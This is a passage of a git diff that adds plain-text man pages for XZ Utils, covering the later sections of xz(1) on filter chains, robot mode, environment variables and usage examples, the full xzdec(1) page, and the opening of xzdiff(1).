but typically a filter chain has only one or two fil- + ters. + + Many filters have limitations on where they can be in the filter chain: + some filters can work only as the last filter in the chain, some only + as a non-last filter, and some work in any position in the chain. De- + pending on the filter, this limitation is either inherent to the filter + design or exists to prevent security issues. + + A custom filter chain can be specified in two different ways. The op- + tions --filters=filters and --filters1=filters ... --filters9=filters + allow specifying an entire filter chain in one option using the liblzma + filter string syntax. Alternatively, a filter chain can be specified + by using one or more individual filter options in the order they are + wanted in the filter chain. That is, the order of the individual fil- + ter options is significant! When decoding raw streams (--format=raw), + the filter chain must be specified in the same order as it was speci- + fied when compressing. Any individual filter or preset options speci- + fied before the full chain option (--filters=filters) will be forgot- + ten. Individual filters specified after the full chain option will re- + set the filter chain. + + Both the full and individual filter options take filter-specific op- + tions as a comma-separated list. Extra commas in options are ignored. + Every option has a default value, so specify those you want to change. + + To see the whole filter chain and options, use xz -vv (that is, use + --verbose twice). This works also for viewing the filter chain options + used by presets. + + --filters=filters + Specify the full filter chain or a preset in a single option. + Each filter can be separated by spaces or two dashes (--). fil- + ters may need to be quoted on the shell command line so it is + parsed as a single option. To denote options, use : or =. A + preset can be prefixed with a - and followed with zero or more + flags. The only supported flag is e to apply the same options + as --extreme. + + --filters1=filters ... --filters9=filters + Specify up to nine additional filter chains that can be used + with --block-list. + + For example, when compressing an archive with executable files + followed by text files, the executable part could use a filter + chain with a BCJ filter and the text part only the LZMA2 filter. + + --filters-help + Display a help message describing how to specify presets and + custom filter chains in the --filters and --filters1=filters ... + --filters9=filters options, and exit successfully. + + --lzma1[=options] + --lzma2[=options] + Add LZMA1 or LZMA2 filter to the filter chain. These filters + can be used only as the last filter in the chain. + + LZMA1 is a legacy filter, which is supported almost solely due + to the legacy .lzma file format, which supports only LZMA1. + LZMA2 is an updated version of LZMA1 to fix some practical is- + sues of LZMA1. The .xz format uses LZMA2 and doesn't support + LZMA1 at all. Compression speed and ratios of LZMA1 and LZMA2 + are practically the same. + + LZMA1 and LZMA2 share the same set of options: + + preset=preset + Reset all LZMA1 or LZMA2 options to preset. Preset con- + sist of an integer, which may be followed by single-let- + ter preset modifiers. The integer can be from 0 to 9, + matching the command line options -0 ... -9. The only + supported modifier is currently e, which matches --ex- + treme. If no preset is specified, the default values of + LZMA1 or LZMA2 options are taken from the preset 6. + + dict=size + Dictionary (history buffer) size indicates how many bytes + of the recently processed uncompressed data is kept in + memory. The algorithm tries to find repeating byte se- + quences (matches) in the uncompressed data, and replace + them with references to the data currently in the dictio- + nary. The bigger the dictionary, the higher is the + chance to find a match. Thus, increasing dictionary size + usually improves compression ratio, but a dictionary big- + ger than the uncompressed file is waste of memory. + + Typical dictionary size is from 64 KiB to 64 MiB. The + minimum is 4 KiB. The maximum for compression is cur- + rently 1.5 GiB (1536 MiB). The decompressor already sup- + ports dictionaries up to one byte less than 4 GiB, which + is the maximum for the LZMA1 and LZMA2 stream formats. + + Dictionary size and match finder (mf) together determine + the memory usage of the LZMA1 or LZMA2 encoder. The same + (or bigger) dictionary size is required for decompressing + that was used when compressing, thus the memory usage of + the decoder is determined by the dictionary size used + when compressing. The .xz headers store the dictionary + size either as 2^n or 2^n + 2^(n-1), so these sizes are + somewhat preferred for compression. Other sizes will get + rounded up when stored in the .xz headers. + + lc=lc Specify the number of literal context bits. The minimum + is 0 and the maximum is 4; the default is 3. In addi- + tion, the sum of lc and lp must not exceed 4. + + All bytes that cannot be encoded as matches are encoded + as literals. That is, literals are simply 8-bit bytes + that are encoded one at a time. + + The literal coding makes an assumption that the highest + lc bits of the previous uncompressed byte correlate with + the next byte. For example, in typical English text, an + upper-case letter is often followed by a lower-case let- + ter, and a lower-case letter is usually followed by an- + other lower-case letter. In the US-ASCII character set, + the highest three bits are 010 for upper-case letters and + 011 for lower-case letters. When lc is at least 3, the + literal coding can take advantage of this property in the + uncompressed data. + + The default value (3) is usually good. If you want maxi- + mum compression, test lc=4. Sometimes it helps a little, + and sometimes it makes compression worse. If it makes it + worse, test lc=2 too. + + lp=lp Specify the number of literal position bits. The minimum + is 0 and the maximum is 4; the default is 0. + + Lp affects what kind of alignment in the uncompressed + data is assumed when encoding literals. See pb below for + more information about alignment. + + pb=pb Specify the number of position bits. The minimum is 0 + and the maximum is 4; the default is 2. + + Pb affects what kind of alignment in the uncompressed + data is assumed in general. The default means four-byte + alignment (2^pb=2^2=4), which is often a good choice when + there's no better guess. + + When the alignment is known, setting pb accordingly may + reduce the file size a little. For example, with text + files having one-byte alignment (US-ASCII, ISO-8859-*, + UTF-8), setting pb=0 can improve compression slightly. + For UTF-16 text, pb=1 is a good choice. If the alignment + is an odd number like 3 bytes, pb=0 might be the best + choice. + + Even though the assumed alignment can be adjusted with pb + and lp, LZMA1 and LZMA2 still slightly favor 16-byte + alignment. It might be worth taking into account when + designing file formats that are likely to be often com- + pressed with LZMA1 or LZMA2. + + mf=mf Match finder has a major effect on encoder speed, memory + usage, and compression ratio. Usually Hash Chain match + finders are faster than Binary Tree match finders. The + default depends on the preset: 0 uses hc3, 1-3 use hc4, + and the rest use bt4. + + The following match finders are supported. The memory + usage formulas below are rough approximations, which are + closest to the reality when dict is a power of two. + + hc3 Hash Chain with 2- and 3-byte hashing + Minimum value for nice: 3 + Memory usage: + dict * 7.5 (if dict <= 16 MiB); + dict * 5.5 + 64 MiB (if dict > 16 MiB) + + hc4 Hash Chain with 2-, 3-, and 4-byte hashing + Minimum value for nice: 4 + Memory usage: + dict * 7.5 (if dict <= 32 MiB); + dict * 6.5 (if dict > 32 MiB) + + bt2 Binary Tree with 2-byte hashing + Minimum value for nice: 2 + Memory usage: dict * 9.5 + + bt3 Binary Tree with 2- and 3-byte hashing + Minimum value for nice: 3 + Memory usage: + dict * 11.5 (if dict <= 16 MiB); + dict * 9.5 + 64 MiB (if dict > 16 MiB) + + bt4 Binary Tree with 2-, 3-, and 4-byte hashing + Minimum value for nice: 4 + Memory usage: + dict * 11.5 (if dict <= 32 MiB); + dict * 10.5 (if dict > 32 MiB) + + mode=mode + Compression mode specifies the method to analyze the data + produced by the match finder. Supported modes are fast + and normal. The default is fast for presets 0-3 and nor- + mal for presets 4-9. + + Usually fast is used with Hash Chain match finders and + normal with Binary Tree match finders. This is also what + the presets do. + + nice=nice + Specify what is considered to be a nice length for a + match. Once a match of at least nice bytes is found, the + algorithm stops looking for possibly better matches. + + Nice can be 2-273 bytes. Higher values tend to give bet- + ter compression ratio at the expense of speed. The de- + fault depends on the preset. + + depth=depth + Specify the maximum search depth in the match finder. + The default is the special value of 0, which makes the + compressor determine a reasonable depth from mf and nice. + + Reasonable depth for Hash Chains is 4-100 and 16-1000 for + Binary Trees. Using very high values for depth can make + the encoder extremely slow with some files. Avoid set- + ting the depth over 1000 unless you are prepared to in- + terrupt the compression in case it is taking far too + long. + + When decoding raw streams (--format=raw), LZMA2 needs only the + dictionary size. LZMA1 needs also lc, lp, and pb. + + --x86[=options] + --arm[=options] + --armthumb[=options] + --arm64[=options] + --powerpc[=options] + --ia64[=options] + --sparc[=options] + Add a branch/call/jump (BCJ) filter to the filter chain. These + filters can be used only as a non-last filter in the filter + chain. + + A BCJ filter converts relative addresses in the machine code to + their absolute counterparts. This doesn't change the size of + the data but it increases redundancy, which can help LZMA2 to + produce 0-15 % smaller .xz file. The BCJ filters are always re- + versible, so using a BCJ filter for wrong type of data doesn't + cause any data loss, although it may make the compression ratio + slightly worse. The BCJ filters are very fast and use an in- + significant amount of memory. + + These BCJ filters have known problems related to the compression + ratio: + + o Some types of files containing executable code (for example, + object files, static libraries, and Linux kernel modules) + have the addresses in the instructions filled with filler + values. These BCJ filters will still do the address conver- + sion, which will make the compression worse with these files. + + o If a BCJ filter is applied on an archive, it is possible that + it makes the compression ratio worse than not using a BCJ + filter. For example, if there are similar or even identical + executables then filtering will likely make the files less + similar and thus compression is worse. The contents of non- + executable files in the same archive can matter too. In + practice one has to try with and without a BCJ filter to see + which is better in each situation. + + Different instruction sets have different alignment: the exe- + cutable file must be aligned to a multiple of this value in the + input data to make the filter work. + + Filter Alignment Notes + x86 1 32-bit or 64-bit x86 + ARM 4 + ARM-Thumb 2 + ARM64 4 4096-byte alignment is best + PowerPC 4 Big endian only + + IA-64 16 Itanium + SPARC 4 + RISC-V 2 + + Since the BCJ-filtered data is usually compressed with LZMA2, + the compression ratio may be improved slightly if the LZMA2 op- + tions are set to match the alignment of the selected BCJ filter. + Examples: + + o IA-64 filter has 16-byte alignment so pb=4,lp=4,lc=0 is good + with LZMA2 (2^4=16). + + o RISC-V code has 2-byte or 4-byte alignment depending on + whether the file contains 16-bit compressed instructions (the + C extension). When 16-bit instructions are used, + pb=2,lp=1,lc=3 or pb=1,lp=1,lc=3 is good. When 16-bit in- + structions aren't present, pb=2,lp=2,lc=2 is the best. read- + elf -h can be used to check if "RVC" appears on the "Flags" + line. + + o ARM64 is always 4-byte aligned so pb=2,lp=2,lc=2 is the best. + + o The x86 filter is an exception. It's usually good to stick + to LZMA2's defaults (pb=2,lp=0,lc=3) when compressing x86 ex- + ecutables. + + All BCJ filters support the same options: + + start=offset + Specify the start offset that is used when converting be- + tween relative and absolute addresses. The offset must + be a multiple of the alignment of the filter (see the ta- + ble above). The default is zero. In practice, the de- + fault is good; specifying a custom offset is almost never + useful. + + --delta[=options] + Add the Delta filter to the filter chain. The Delta filter can + be only used as a non-last filter in the filter chain. + + Currently only simple byte-wise delta calculation is supported. + It can be useful when compressing, for example, uncompressed + bitmap images or uncompressed PCM audio. However, special pur- + pose algorithms may give significantly better results than Delta + + LZMA2. This is true especially with audio, which compresses + faster and better, for example, with flac(1). + + Supported options: + + dist=distance + Specify the distance of the delta calculation in bytes. + distance must be 1-256. The default is 1. + + For example, with dist=2 and eight-byte input A1 B1 A2 B3 + A3 B5 A4 B7, the output will be A1 B1 01 02 01 02 01 02. + + Other options + -q, --quiet + Suppress warnings and notices. Specify this twice to suppress + errors too. This option has no effect on the exit status. That + is, even if a warning was suppressed, the exit status to indi- + cate a warning is still used. + + -v, --verbose + Be verbose. If standard error is connected to a terminal, xz + will display a progress indicator. Specifying --verbose twice + will give even more verbose output. + + The progress indicator shows the following information: + + o Completion percentage is shown if the size of the input file + is known. That is, the percentage cannot be shown in pipes. + + o Amount of compressed data produced (compressing) or consumed + (decompressing). + + o Amount of uncompressed data consumed (compressing) or pro- + duced (decompressing). + + o Compression ratio, which is calculated by dividing the amount + of compressed data processed so far by the amount of uncom- + pressed data processed so far. + + o Compression or decompression speed. This is measured as the + amount of uncompressed data consumed (compression) or pro- + duced (decompression) per second. It is shown after a few + seconds have passed since xz started processing the file. + + o Elapsed time in the format M:SS or H:MM:SS. + + o Estimated remaining time is shown only when the size of the + input file is known and a couple of seconds have already + passed since xz started processing the file. The time is + shown in a less precise format which never has any colons, + for example, 2 min 30 s. + + When standard error is not a terminal, --verbose will make xz + print the filename, compressed size, uncompressed size, compres- + sion ratio, and possibly also the speed and elapsed time on a + single line to standard error after compressing or decompressing + the file. The speed and elapsed time are included only when the + operation took at least a few seconds. If the operation didn't + finish, for example, due to user interruption, also the comple- + tion percentage is printed if the size of the input file is + known. + + -Q, --no-warn + Don't set the exit status to 2 even if a condition worth a warn- + ing was detected. This option doesn't affect the verbosity + level, thus both --quiet and --no-warn have to be used to not + display warnings and to not alter the exit status. + + --robot + Print messages in a machine-parsable format. This is intended + to ease writing frontends that want to use xz instead of li- + blzma, which may be the case with various scripts. The output + with this option enabled is meant to be stable across xz re- + leases. See the section ROBOT MODE for details. + + --info-memory + Display, in human-readable format, how much physical memory + (RAM) and how many processor threads xz thinks the system has + and the memory usage limits for compression and decompression, + and exit successfully. + + -h, --help + Display a help message describing the most commonly used op- + tions, and exit successfully. + + -H, --long-help + Display a help message describing all features of xz, and exit + successfully + + -V, --version + Display the version number of xz and liblzma in human readable + format. To get machine-parsable output, specify --robot before + --version. + +ROBOT MODE + The robot mode is activated with the --robot option. It makes the out- + put of xz easier to parse by other programs. Currently --robot is sup- + ported only together with --list, --filters-help, --info-memory, and + --version. It will be supported for compression and decompression in + the future. + + List mode + xz --robot --list uses tab-separated output. The first column of every + line has a string that indicates the type of the information found on + that line: + + name This is always the first line when starting to list a file. The + second column on the line is the filename. + + file This line contains overall information about the .xz file. This + line is always printed after the name line. + + stream This line type is used only when --verbose was specified. There + are as many stream lines as there are streams in the .xz file. + + block This line type is used only when --verbose was specified. There + are as many block lines as there are blocks in the .xz file. + The block lines are shown after all the stream lines; different + line types are not interleaved. + + summary + This line type is used only when --verbose was specified twice. + This line is printed after all block lines. Like the file line, + the summary line contains overall information about the .xz + file. + + totals This line is always the very last line of the list output. It + shows the total counts and sizes. + + The columns of the file lines: + 2. Number of streams in the file + 3. Total number of blocks in the stream(s) + 4. Compressed size of the file + 5. Uncompressed size of the file + 6. Compression ratio, for example, 0.123. If ratio is over + 9.999, three dashes (---) are displayed instead of the ra- + tio. + 7. Comma-separated list of integrity check names. The follow- + ing strings are used for the known check types: None, CRC32, + CRC64, and SHA-256. For unknown check types, Unknown-N is + used, where N is the Check ID as a decimal number (one or + two digits). + 8. Total size of stream padding in the file + + The columns of the stream lines: + 2. Stream number (the first stream is 1) + 3. Number of blocks in the stream + 4. Compressed start offset + 5. Uncompressed start offset + 6. Compressed size (does not include stream padding) + 7. Uncompressed size + 8. Compression ratio + 9. Name of the integrity check + 10. Size of stream padding + + The columns of the block lines: + 2. Number of the stream containing this block + 3. Block number relative to the beginning of the stream (the + first block is 1) + 4. Block number relative to the beginning of the file + 5. Compressed start offset relative to the beginning of the + file + 6. Uncompressed start offset relative to the beginning of the + file + 7. Total compressed size of the block (includes headers) + 8. Uncompressed size + 9. Compression ratio + 10. Name of the integrity check + + If --verbose was specified twice, additional columns are included on + the block lines. These are not displayed with a single --verbose, be- + cause getting this information requires many seeks and can thus be + slow: + 11. Value of the integrity check in hexadecimal + 12. Block header size + 13. Block flags: c indicates that compressed size is present, + and u indicates that uncompressed size is present. If the + flag is not set, a dash (-) is shown instead to keep the + string length fixed. New flags may be added to the end of + the string in the future. + 14. Size of the actual compressed data in the block (this ex- + cludes the block header, block padding, and check fields) + 15. Amount of memory (in bytes) required to decompress this + block with this xz version + 16. Filter chain. Note that most of the options used at com- + pression time cannot be known, because only the options that + are needed for decompression are stored in the .xz headers. + + The columns of the summary lines: + 2. Amount of memory (in bytes) required to decompress this file + with this xz version + 3. yes or no indicating if all block headers have both com- + pressed size and uncompressed size stored in them + Since xz 5.1.2alpha: + 4. Minimum xz version required to decompress the file + + The columns of the totals line: + 2. Number of streams + 3. Number of blocks + 4. Compressed size + 5. Uncompressed size + 6. Average compression ratio + 7. Comma-separated list of integrity check names that were + present in the files + 8. Stream padding size + 9. Number of files. This is here to keep the order of the ear- + lier columns the same as on file lines. + + If --verbose was specified twice, additional columns are included on + the totals line: + 10. Maximum amount of memory (in bytes) required to decompress + the files with this xz version + 11. yes or no indicating if all block headers have both com- + pressed size and uncompressed size stored in them + Since xz 5.1.2alpha: + 12. Minimum xz version required to decompress the file + + Future versions may add new line types and new columns can be added to + the existing line types, but the existing columns won't be changed. + + Filters help + xz --robot --filters-help prints the supported filters in the following + format: + + filter:option=,option=... + + filter Name of the filter + + option Name of a filter specific option + + value Numeric value ranges appear as . String value choices + are shown within < > and separated by a | character. + + Each filter is printed on its own line. + + Memory limit information + xz --robot --info-memory prints a single line with multiple tab-sepa- + rated columns: + + 1. Total amount of physical memory (RAM) in bytes. + + 2. Memory usage limit for compression in bytes (--memlimit-compress). + A special value of 0 indicates the default setting which for sin- + gle-threaded mode is the same as no limit. + + 3. Memory usage limit for decompression in bytes (--memlimit-decom- + press). A special value of 0 indicates the default setting which + for single-threaded mode is the same as no limit. + + 4. Since xz 5.3.4alpha: Memory usage for multi-threaded decompression + in bytes (--memlimit-mt-decompress). This is never zero because a + system-specific default value shown in the column 5 is used if no + limit has been specified explicitly. This is also never greater + than the value in the column 3 even if a larger value has been + specified with --memlimit-mt-decompress. + + 5. Since xz 5.3.4alpha: A system-specific default memory usage limit + that is used to limit the number of threads when compressing with + an automatic number of threads (--threads=0) and no memory usage + limit has been specified (--memlimit-compress). This is also used + as the default value for --memlimit-mt-decompress. + + 6. Since xz 5.3.4alpha: Number of available processor threads. + + In the future, the output of xz --robot --info-memory may have more + columns, but never more than a single line. + + Version + xz --robot --version prints the version number of xz and liblzma in the + following format: + + XZ_VERSION=XYYYZZZS + LIBLZMA_VERSION=XYYYZZZS + + X Major version. + + YYY Minor version. Even numbers are stable. Odd numbers are alpha + or beta versions. + + ZZZ Patch level for stable releases or just a counter for develop- + ment releases. + + S Stability. 0 is alpha, 1 is beta, and 2 is stable. S should be + always 2 when YYY is even. + + XYYYZZZS are the same on both lines if xz and liblzma are from the same + XZ Utils release. + + Examples: 4.999.9beta is 49990091 and 5.0.0 is 50000002. + +EXIT STATUS + 0 All is good. + + 1 An error occurred. + + 2 Something worth a warning occurred, but no actual errors oc- + curred. + + Notices (not warnings or errors) printed on standard error don't affect + the exit status. + +ENVIRONMENT + xz parses space-separated lists of options from the environment vari- + ables XZ_DEFAULTS and XZ_OPT, in this order, before parsing the options + from the command line. Note that only options are parsed from the en- + vironment variables; all non-options are silently ignored. Parsing is + done with getopt_long(3) which is used also for the command line argu- + ments. + + XZ_DEFAULTS + User-specific or system-wide default options. Typically this is + set in a shell initialization script to enable xz's memory usage + limiter by default. Excluding shell initialization scripts and + similar special cases, scripts must never set or unset XZ_DE- + FAULTS. + + XZ_OPT This is for passing options to xz when it is not possible to set + the options directly on the xz command line. This is the case + when xz is run by a script or tool, for example, GNU tar(1): + + XZ_OPT=-2v tar caf foo.tar.xz foo + + Scripts may use XZ_OPT, for example, to set script-specific de- + fault compression options. It is still recommended to allow + users to override XZ_OPT if that is reasonable. For example, in + sh(1) scripts one may use something like this: + + XZ_OPT=${XZ_OPT-"-7e"} + export XZ_OPT + +LZMA UTILS COMPATIBILITY + The command line syntax of xz is practically a superset of lzma, un- + lzma, and lzcat as found from LZMA Utils 4.32.x. In most cases, it is + possible to replace LZMA Utils with XZ Utils without breaking existing + scripts. There are some incompatibilities though, which may sometimes + cause problems. + + Compression preset levels + The numbering of the compression level presets is not identical in xz + and LZMA Utils. The most important difference is how dictionary sizes + are mapped to different presets. Dictionary size is roughly equal to + the decompressor memory usage. + + Level xz LZMA Utils + -0 256 KiB N/A + -1 1 MiB 64 KiB + -2 2 MiB 1 MiB + -3 4 MiB 512 KiB + -4 4 MiB 1 MiB + -5 8 MiB 2 MiB + -6 8 MiB 4 MiB + -7 16 MiB 8 MiB + -8 32 MiB 16 MiB + -9 64 MiB 32 MiB + + The dictionary size differences affect the compressor memory usage too, + but there are some other differences between LZMA Utils and XZ Utils, + which make the difference even bigger: + + Level xz LZMA Utils 4.32.x + -0 3 MiB N/A + -1 9 MiB 2 MiB + -2 17 MiB 12 MiB + -3 32 MiB 12 MiB + -4 48 MiB 16 MiB + -5 94 MiB 26 MiB + -6 94 MiB 45 MiB + -7 186 MiB 83 MiB + -8 370 MiB 159 MiB + -9 674 MiB 311 MiB + + The default preset level in LZMA Utils is -7 while in XZ Utils it is + -6, so both use an 8 MiB dictionary by default. + + Streamed vs. non-streamed .lzma files + The uncompressed size of the file can be stored in the .lzma header. + LZMA Utils does that when compressing regular files. The alternative + is to mark that uncompressed size is unknown and use end-of-payload + marker to indicate where the decompressor should stop. LZMA Utils uses + this method when uncompressed size isn't known, which is the case, for + example, in pipes. + + xz supports decompressing .lzma files with or without end-of-payload + marker, but all .lzma files created by xz will use end-of-payload + marker and have uncompressed size marked as unknown in the .lzma + header. This may be a problem in some uncommon situations. For exam- + ple, a .lzma decompressor in an embedded device might work only with + files that have known uncompressed size. If you hit this problem, you + need to use LZMA Utils or LZMA SDK to create .lzma files with known un- + compressed size. + + Unsupported .lzma files + The .lzma format allows lc values up to 8, and lp values up to 4. LZMA + Utils can decompress files with any lc and lp, but always creates files + with lc=3 and lp=0. Creating files with other lc and lp is possible + with xz and with LZMA SDK. + + The implementation of the LZMA1 filter in liblzma requires that the sum + of lc and lp must not exceed 4. Thus, .lzma files, which exceed this + limitation, cannot be decompressed with xz. + + LZMA Utils creates only .lzma files which have a dictionary size of 2^n + (a power of 2) but accepts files with any dictionary size. liblzma ac- + cepts only .lzma files which have a dictionary size of 2^n or 2^n + + 2^(n-1). This is to decrease false positives when detecting .lzma + files. + + These limitations shouldn't be a problem in practice, since practically + all .lzma files have been compressed with settings that liblzma will + accept. + + Trailing garbage + When decompressing, LZMA Utils silently ignore everything after the + first .lzma stream. In most situations, this is a bug. This also + means that LZMA Utils don't support decompressing concatenated .lzma + files. + + If there is data left after the first .lzma stream, xz considers the + file to be corrupt unless --single-stream was used. This may break ob- + scure scripts which have assumed that trailing garbage is ignored. + +NOTES + Compressed output may vary + The exact compressed output produced from the same uncompressed input + file may vary between XZ Utils versions even if compression options are + identical. This is because the encoder can be improved (faster or bet- + ter compression) without affecting the file format. The output can + vary even between different builds of the same XZ Utils version, if + different build options are used. + + The above means that once --rsyncable has been implemented, the result- + ing files won't necessarily be rsyncable unless both old and new files + have been compressed with the same xz version. This problem can be + fixed if a part of the encoder implementation is frozen to keep rsynca- + ble output stable across xz versions. + + Embedded .xz decompressors + Embedded .xz decompressor implementations like XZ Embedded don't neces- + sarily support files created with integrity check types other than none + and crc32. Since the default is --check=crc64, you must use + --check=none or --check=crc32 when creating files for embedded systems. + + Outside embedded systems, all .xz format decompressors support all the + check types, or at least are able to decompress the file without veri- + fying the integrity check if the particular check is not supported. + + XZ Embedded supports BCJ filters, but only with the default start off- + set. + +EXAMPLES + Basics + Compress the file foo into foo.xz using the default compression level + (-6), and remove foo if compression is successful: + + xz foo + + Decompress bar.xz into bar and don't remove bar.xz even if decompres- + sion is successful: + + xz -dk bar.xz + + Create baz.tar.xz with the preset -4e (-4 --extreme), which is slower + than the default -6, but needs less memory for compression and decom- + pression (48 MiB and 5 MiB, respectively): + + tar cf - baz | xz -4e > baz.tar.xz + + A mix of compressed and uncompressed files can be decompressed to stan- + dard output with a single command: + + xz -dcf a.txt b.txt.xz c.txt d.txt.lzma > abcd.txt + + Parallel compression of many files + On GNU and *BSD, find(1) and xargs(1) can be used to parallelize com- + pression of many files: + + find . -type f \! -name '*.xz' -print0 \ + | xargs -0r -P4 -n16 xz -T1 + + The -P option to xargs(1) sets the number of parallel xz processes. + The best value for the -n option depends on how many files there are to + be compressed. If there are only a couple of files, the value should + probably be 1; with tens of thousands of files, 100 or even more may be + appropriate to reduce the number of xz processes that xargs(1) will + eventually create. + + The option -T1 for xz is there to force it to single-threaded mode, be- + cause xargs(1) is used to control the amount of parallelization. + + Robot mode + Calculate how many bytes have been saved in total after compressing + multiple files: + + xz --robot --list *.xz | awk '/^totals/{print $5-$4}' + + A script may want to know that it is using new enough xz. The follow- + ing sh(1) script checks that the version number of the xz tool is at + least 5.0.0. This method is compatible with old beta versions, which + didn't support the --robot option: + + if ! eval "$(xz --robot --version 2> /dev/null)" || + [ "$XZ_VERSION" -lt 50000002 ]; then + echo "Your xz is too old." + fi + unset XZ_VERSION LIBLZMA_VERSION + + Set a memory usage limit for decompression using XZ_OPT, but if a limit + has already been set, don't increase it: + + NEWLIM=$((123 << 20)) # 123 MiB + OLDLIM=$(xz --robot --info-memory | cut -f3) + if [ $OLDLIM -eq 0 -o $OLDLIM -gt $NEWLIM ]; then + XZ_OPT="$XZ_OPT --memlimit-decompress=$NEWLIM" + export XZ_OPT + fi + + Custom compressor filter chains + The simplest use for custom filter chains is customizing a LZMA2 pre- + set. This can be useful, because the presets cover only a subset of + the potentially useful combinations of compression settings. + + The CompCPU columns of the tables from the descriptions of the options + -0 ... -9 and --extreme are useful when customizing LZMA2 presets. + Here are the relevant parts collected from those two tables: + + Preset CompCPU + -0 0 + -1 1 + + -2 2 + -3 3 + -4 4 + -5 5 + -6 6 + -5e 7 + -6e 8 + + If you know that a file requires somewhat big dictionary (for example, + 32 MiB) to compress well, but you want to compress it quicker than xz + -8 would do, a preset with a low CompCPU value (for example, 1) can be + modified to use a bigger dictionary: + + xz --lzma2=preset=1,dict=32MiB foo.tar + + With certain files, the above command may be faster than xz -6 while + compressing significantly better. However, it must be emphasized that + only some files benefit from a big dictionary while keeping the CompCPU + value low. The most obvious situation, where a big dictionary can help + a lot, is an archive containing very similar files of at least a few + megabytes each. The dictionary size has to be significantly bigger + than any individual file to allow LZMA2 to take full advantage of the + similarities between consecutive files. + + If very high compressor and decompressor memory usage is fine, and the + file being compressed is at least several hundred megabytes, it may be + useful to use an even bigger dictionary than the 64 MiB that xz -9 + would use: + + xz -vv --lzma2=dict=192MiB big_foo.tar + + Using -vv (--verbose --verbose) like in the above example can be useful + to see the memory requirements of the compressor and decompressor. Re- + member that using a dictionary bigger than the size of the uncompressed + file is waste of memory, so the above command isn't useful for small + files. + + Sometimes the compression time doesn't matter, but the decompressor + memory usage has to be kept low, for example, to make it possible to + decompress the file on an embedded system. The following command uses + -6e (-6 --extreme) as a base and sets the dictionary to only 64 KiB. + The resulting file can be decompressed with XZ Embedded (that's why + there is --check=crc32) using about 100 KiB of memory. + + xz --check=crc32 --lzma2=preset=6e,dict=64KiB foo + + If you want to squeeze out as many bytes as possible, adjusting the + number of literal context bits (lc) and number of position bits (pb) + can sometimes help. Adjusting the number of literal position bits (lp) + might help too, but usually lc and pb are more important. For example, + a source code archive contains mostly US-ASCII text, so something like + the following might give slightly (like 0.1 %) smaller file than xz -6e + (try also without lc=4): + + xz --lzma2=preset=6e,pb=0,lc=4 source_code.tar + + Using another filter together with LZMA2 can improve compression with + certain file types. For example, to compress a x86-32 or x86-64 shared + library using the x86 BCJ filter: + + xz --x86 --lzma2 libfoo.so + + Note that the order of the filter options is significant. If --x86 is + specified after --lzma2, xz will give an error, because there cannot be + any filter after LZMA2, and also because the x86 BCJ filter cannot be + used as the last filter in the chain. + + The Delta filter together with LZMA2 can give good results with bitmap + images. It should usually beat PNG, which has a few more advanced fil- + ters than simple delta but uses Deflate for the actual compression. + + The image has to be saved in uncompressed format, for example, as un- + compressed TIFF. The distance parameter of the Delta filter is set to + match the number of bytes per pixel in the image. For example, 24-bit + RGB bitmap needs dist=3, and it is also good to pass pb=0 to LZMA2 to + accommodate the three-byte alignment: + + xz --delta=dist=3 --lzma2=pb=0 foo.tiff + + If multiple images have been put into a single archive (for example, + .tar), the Delta filter will work on that too as long as all images + have the same number of bytes per pixel. + +SEE ALSO + xzdec(1), xzdiff(1), xzgrep(1), xzless(1), xzmore(1), gzip(1), + bzip2(1), 7z(1) + + XZ Utils: + XZ Embedded: + LZMA SDK: + + + +Tukaani 2024-02-13 XZ(1) diff --git a/doc/man/txt/xzdec.txt b/doc/man/txt/xzdec.txt new file mode 100644 index 00000000..26bacd8a --- /dev/null +++ b/doc/man/txt/xzdec.txt @@ -0,0 +1,80 @@ +XZDEC(1) XZ Utils XZDEC(1) + + + +NAME + xzdec, lzmadec - Small .xz and .lzma decompressors + +SYNOPSIS + xzdec [option...] [file...] + lzmadec [option...] [file...] + +DESCRIPTION + xzdec is a liblzma-based decompression-only tool for .xz (and only .xz) + files. xzdec is intended to work as a drop-in replacement for xz(1) in + the most common situations where a script has been written to use xz + --decompress --stdout (and possibly a few other commonly used options) + to decompress .xz files. lzmadec is identical to xzdec except that lz- + madec supports .lzma files instead of .xz files. + + To reduce the size of the executable, xzdec doesn't support multi- + threading or localization, and doesn't read options from XZ_DEFAULTS + and XZ_OPT environment variables. xzdec doesn't support displaying in- + termediate progress information: sending SIGINFO to xzdec does nothing, + but sending SIGUSR1 terminates the process instead of displaying + progress information. + +OPTIONS + -d, --decompress, --uncompress + Ignored for xz(1) compatibility. xzdec supports only decompres- + sion. + + -k, --keep + Ignored for xz(1) compatibility. xzdec never creates or removes + any files. + + -c, --stdout, --to-stdout + Ignored for xz(1) compatibility. xzdec always writes the decom- + pressed data to standard output. + + -q, --quiet + Specifying this once does nothing since xzdec never displays any + warnings or notices. Specify this twice to suppress errors. + + -Q, --no-warn + Ignored for xz(1) compatibility. xzdec never uses the exit sta- + tus 2. + + -h, --help + Display a help message and exit successfully. + + -V, --version + Display the version number of xzdec and liblzma. + +EXIT STATUS + 0 All was good. + + 1 An error occurred. + + xzdec doesn't have any warning messages like xz(1) has, thus the exit + status 2 is not used by xzdec. + +NOTES + Use xz(1) instead of xzdec or lzmadec for normal everyday use. xzdec + or lzmadec are meant only for situations where it is important to have + a smaller decompressor than the full-featured xz(1). + + xzdec and lzmadec are not really that small. The size can be reduced + further by dropping features from liblzma at compile time, but that + shouldn't usually be done for executables distributed in typical non- + embedded operating system distributions. If you need a truly small .xz + decompressor, consider using XZ Embedded. + +SEE ALSO + xz(1) + + XZ Embedded: + + + +Tukaani 2024-01-19 XZDEC(1) diff --git a/doc/man/txt/xzdiff.txt b/doc/man/txt/xzdiff.txt new file mode 100644 index 00000000..447d7ba9 --- /dev/null +++ b/doc/man/txt/xzdiff.txt @@ -0,0 +1,42 @@ +XZDIFF(1) XZ Utils XZDIFF(1) + + + +NAME + xzcmp, xzdiff, lzcmp, lzdiff - compare compressed files + +SYNOPSIS + xzcmp [option...] file1 [file2] + xzdiff ... + lzcmp ... + lzdiff ... + +DESCRIPTION + xzcmp and xzdiff compare uncompressed contents of two files. Uncom- + pressed data and options are passed to cmp(1) or diff(1) unless --help + or --version is specified. + + If both file1 and file2 are specified, they can be uncompressed files + or files in formats that xz(1), gzip(1), bzip2(1), lzop(1), zstd(1), or + lz4(1) can decompress. The required decompression commands are deter- + mined from the filename suffixes of file1 and file2. A file with an + unknown suffix is assumed to be either uncompressed or in a format that + xz(1) can decompress. + + If only one filename is provided, file1 must have a suffix of a sup- + ported compression format and the name for file2 is assumed to be file1 + with the compression format suffix removed. + + The commands 